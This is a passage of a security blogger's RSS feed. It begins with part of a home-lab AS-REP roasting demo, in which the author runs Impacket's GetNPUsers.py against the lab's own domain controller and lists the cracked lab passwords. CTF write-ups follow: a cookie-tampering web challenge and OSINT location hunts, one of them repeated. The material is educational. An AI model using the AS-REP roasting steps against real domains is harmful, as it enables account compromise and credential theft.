&lt;td&gt;2GB RAM, 40GB HDD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;KALI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kali Linux 6.18&lt;/td&gt;
&lt;td&gt;10.0.2.250 (static)&lt;/td&gt;
&lt;td&gt;Attack Machine&lt;/td&gt;
&lt;td&gt;4GB RAM, 80GB HDD&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;domain name: &lt;code&gt;doa.local&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Attack Demo
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — Disable Pre-Authentication&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;On the domain controller, disable pre-authentication using the &lt;a href="https://github.com/davidonlinearchive/Active-Directory-Lab/blob/main/Attacks/AS-REP-Roasting/Disable-KerbPreAuth.ps1" rel="noopener noreferrer"&gt;Disable-KerbPreAuth.ps1&lt;/a&gt; script, which randomly selects 2 users under the "LabUsers" OU and disables their pre-authentication.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F12a7tdu5ram1wght3dms.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F12a7tdu5ram1wght3dms.png" alt="disable-kerb-preauth" width="800" height="132"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looks like &lt;code&gt;ujack&lt;/code&gt; and &lt;code&gt;kchimaev&lt;/code&gt; were randomly selected (natural selection, I guess). To verify, checking the user properties confirms the &lt;strong&gt;"Do Not Require Kerberos Pre-Authentication"&lt;/strong&gt; flag is checked.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa6iyjdp9g5v4nmaks171.png" alt="kchimaev-properties" width="800" height="243"&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Step 2 — Install Impacket on Attack Machine&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;On the dedicated attack machine, install &lt;a href="https://github.com/fortra/impacket" rel="noopener noreferrer"&gt;Impacket&lt;/a&gt; via:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; pipx &lt;span class="nb"&gt;install &lt;/span&gt;impacket
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;strong&gt;Step 3 — Retrieve Hashes with GetNPUsers.py&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;GetNPUsers.py&lt;/code&gt; retrieves hashes for users who have &lt;strong&gt;"Do Not Require Kerberos Pre-Authentication"&lt;/strong&gt; set, without needing their passwords.&lt;/p&gt;

&lt;p&gt;Syntax:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;GetNPUsers.py &amp;lt;domain&amp;gt;/&amp;lt;user&amp;gt; &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; &amp;lt;x.x.x.x&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since both &lt;code&gt;ujack&lt;/code&gt; and &lt;code&gt;kchimaev&lt;/code&gt; had pre-authentication disabled, run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;GetNPUsers.py doa.local/ujack &lt;span class="nt"&gt;-dc-ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.0.2.7
GetNPUsers.py doa.local/kchimaev &lt;span class="nt"&gt;-dc-ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.0.2.7
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi5oygdqii7b7v5jx880o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi5oygdqii7b7v5jx880o.png" alt="GetNPUsers" width="800" height="205"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Step 4 — Crack the Hashes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;With the AS-REP hashes retrieved, crack them offline to recover the plaintext passwords:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;User&lt;/th&gt;
&lt;th&gt;Password&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ujack&lt;/td&gt;
&lt;td&gt;Changme123!&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;kchimaev&lt;/td&gt;
&lt;td&gt;BorzBorz7&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

</description>
      <category>activedirectory</category>
    </item>
    <item>
      <title>Power Cookie - irisCTF '22 (WEB)</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Mon, 26 Jan 2026 18:46:40 +0000</pubDate>
      <link>https://forem.com/davidonlinearchive/power-cookie-irisctf-22-407i</link>
      <guid>https://forem.com/davidonlinearchive/power-cookie-irisctf-22-407i</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjetd5k2mnq20i5mrzhmd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjetd5k2mnq20i5mrzhmd.png" alt="Challenge description" width="800" height="459"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looking at the network tab in the dev tools, we see the isAdmin cookie parameter. It seems that all we have to do is intercept the traffic and change the cookie param to 1.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr06g6tedxnmcyek4d5y3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr06g6tedxnmcyek4d5y3.png" alt="Challenge page" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Taking it over to &lt;code&gt;Burp Suite&lt;/code&gt;, we change the value of the isAdmin cookie param, and there it is, the FLAG.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0o2si0nq62l40xudrkv1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0o2si0nq62l40xudrkv1.png" alt="FLag" width="800" height="437"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FLAG:&lt;/strong&gt; &lt;code&gt;picoCTF{gr4d3_A_c00k13_65fd1e1a}&lt;/code&gt;&lt;/p&gt;

</description>
      <category>irisctf</category>
      <category>ctf</category>
      <category>web</category>
    </item>
    <item>
      <title>Sleuths and Sweets - irisCTF '24 (OSINT)</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Tue, 16 Sep 2025 20:47:04 +0000</pubDate>
      <link>https://forem.com/davidonlinearchive/sleuths-and-sweets-irisctf-2dc2</link>
      <guid>https://forem.com/davidonlinearchive/sleuths-and-sweets-irisctf-2dc2</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7nxo6djhry8rr779ml5g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7nxo6djhry8rr779ml5g.png" alt="Challenge description" width="800" height="636"&gt;&lt;/a&gt; The description says there’s a lot of foot traffic so let’s search for a place with the most foot traffic in Japan &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg7m54uwfassskbc1kv40.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg7m54uwfassskbc1kv40.png" alt="Foot traffic lookup" width="800" height="1730"&gt;&lt;/a&gt; The place happens to be the shibuya crossing so let’s assume they are in shibuya since it has the highest foot traffic &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhc8mvv738yo5xx6w84g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhc8mvv738yo5xx6w84g.png" alt="Shop tag" width="800" height="1730"&gt;&lt;/a&gt; The price tag seems unique let’s use google lens to see if there’s any dessert shop with a similar tag &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7pzm03zteddhzby9x53y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7pzm03zteddhzby9x53y.png" alt="Blog" width="800" height="1730"&gt;&lt;/a&gt; &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc99owdhw8ue0h9u2c3qh.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc99owdhw8ue0h9u2c3qh.jpg" alt="crepe wrapper description" width="800" height="800"&gt;&lt;/a&gt; These crepes both have the similar cone holder/wrappers. The wrapper on the right reads marion crepes so lets search google maps &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fexglc7jfyh3ufmv04fmm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fexglc7jfyh3ufmv04fmm.png" alt="Crepe shop lookup google maps" width="800" height="1730"&gt;&lt;/a&gt; Turns out there are two Marion crepes located in Shibuya We need to find which store is closer to the crossing &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fumlx0dzagm9kpuv6afnb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fumlx0dzagm9kpuv6afnb.png" alt="Shibuya crossing location lookup" width="800" height="1730"&gt;&lt;/a&gt; “directly outside shibuya station’s Hachiko exit.” you say? Because the shop located in Jinnan is close by to hachiko &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbdnp8waocpqgv8vw8vx3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbdnp8waocpqgv8vw8vx3.png" alt="Marion Crepes Shibuya lookup" width="800" height="1730"&gt;&lt;/a&gt; &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyku0jf9z00frn6pm6aym.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyku0jf9z00frn6pm6aym.png" alt="Marion Crepes Shibuya lookup 2" width="800" height="1730"&gt;&lt;/a&gt; The address is 1 Chome-21-3 Jinnan, Shibuya, Tokyo 150-0041, Japan now just tweak to fit the flag’s format&lt;br&gt;
 &lt;strong&gt;Flag:&lt;/strong&gt; &lt;em&gt;irisctf{1_Chome_21_3_Jinnan_Shibuya}&lt;/em&gt;&lt;/p&gt;

</description>
      <category>osint</category>
      <category>irisctf</category>
    </item>
    <item>
      <title>Sleuths and Sweets - irisCTF</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Tue, 16 Sep 2025 20:38:04 +0000</pubDate>
      <link>https://forem.com/davidonlinearchive/sleuths-and-sweets-irisctf-1gfa</link>
      <guid>https://forem.com/davidonlinearchive/sleuths-and-sweets-irisctf-1gfa</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7nxo6djhry8rr779ml5g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7nxo6djhry8rr779ml5g.png" alt="Challenge description" width="800" height="636"&gt;&lt;/a&gt;&lt;br&gt;
The description says there’s a lot of foot traffic so let’s search for a place with the most foot traffic in Japan&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg7m54uwfassskbc1kv40.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg7m54uwfassskbc1kv40.png" alt="Foot traffic lookup" width="800" height="1730"&gt;&lt;/a&gt;&lt;br&gt;
The place happens to be the shibuya crossing so let’s assume they are in shibuya since it has the highest foot traffic&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhc8mvv738yo5xx6w84g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhc8mvv738yo5xx6w84g.png" alt="Shop tag" width="800" height="1730"&gt;&lt;/a&gt;&lt;br&gt;
The price tag seems unique let’s use google lens to see if there’s any dessert shop with a similar tag&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7pzm03zteddhzby9x53y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7pzm03zteddhzby9x53y.png" alt="Blog" width="800" height="1730"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc99owdhw8ue0h9u2c3qh.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc99owdhw8ue0h9u2c3qh.jpg" alt="Crepe wrapper lookup" width="800" height="800"&gt;&lt;/a&gt;&lt;br&gt;
These crepes both have the similar cone holder/wrappers.&lt;br&gt;
The wrapper on the right reads marion crepes so lets search google maps  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fexglc7jfyh3ufmv04fmm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fexglc7jfyh3ufmv04fmm.png" alt="Crepe shop lookup google maps" width="800" height="1730"&gt;&lt;/a&gt;&lt;br&gt;
Turns out there are two Marion crepes located in Shibuya &lt;br&gt;
We need to find which store is closer to the crossing&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fumlx0dzagm9kpuv6afnb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fumlx0dzagm9kpuv6afnb.png" alt="Shibuya crossing location lookup" width="800" height="1730"&gt;&lt;/a&gt;&lt;br&gt;
“directly outside shibuya station’s Hachiko exit.” you say?&lt;br&gt;
Because the shop located in Jinnan is close by to hachiko.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbdnp8waocpqgv8vw8vx3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbdnp8waocpqgv8vw8vx3.png" alt="Marion Crepes Shibuya lookup" width="800" height="1730"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyku0jf9z00frn6pm6aym.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyku0jf9z00frn6pm6aym.png" alt="Marion Crepes Shibuya lookup 2" width="800" height="1730"&gt;&lt;/a&gt;&lt;br&gt;
The address is 1 Chome-21-3 Jinnan, Shibuya, Tokyo 150-0041, Japan&lt;br&gt;
now just tweak to fit the flag’s format&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;em&gt;irisctf{1_Chome_21_3_Jinnan_Shibuya}&lt;/em&gt;&lt;/p&gt;

</description>
      <category>osint</category>
      <category>irisctf</category>
    </item>
    <item>
      <title>Checking Out of Winter - irisCTF '24 (OSINT)</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Tue, 16 Sep 2025 20:19:59 +0000</pubDate>
      <link>https://forem.com/davidonlinearchive/checking-out-of-winter-irisctf-2ngj</link>
      <guid>https://forem.com/davidonlinearchive/checking-out-of-winter-irisctf-2ngj</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F94mizrnqy8h6nzjustjn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F94mizrnqy8h6nzjustjn.png" alt="Challenge description" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;from the description we know adam is at a resort that has a golf court&lt;br&gt;
let's check out his food blog&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhjeb9etyowewd2pu5daf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhjeb9etyowewd2pu5daf.png" alt="Food Blog" width="800" height="1730"&gt;&lt;/a&gt;&lt;br&gt;
Let’s look at the similarities between the blog and ctf description &lt;/p&gt;

&lt;p&gt;SIMILARITIES:&lt;/p&gt;

&lt;p&gt;location: Baja California Sur&lt;br&gt;
Activities: golf &lt;br&gt;
Food: pizza with shredded chicken&lt;br&gt;
Look at the tags #cabo and #pizza &lt;/p&gt;

&lt;p&gt;Now with a quick google search  I search hotels in Cabo and Boom!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2nxfqmgv68gi677hzxlc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2nxfqmgv68gi677hzxlc.png" alt="Cabo resort" width="800" height="1730"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;FLAG:&lt;/strong&gt; &lt;em&gt;irisctf{Hilton_Los_Cabos_Beach_and_Golf_Resort}&lt;/em&gt;&lt;/p&gt;

</description>
      <category>osint</category>
      <category>irisctf</category>
    </item>
  </channel>
</rss>
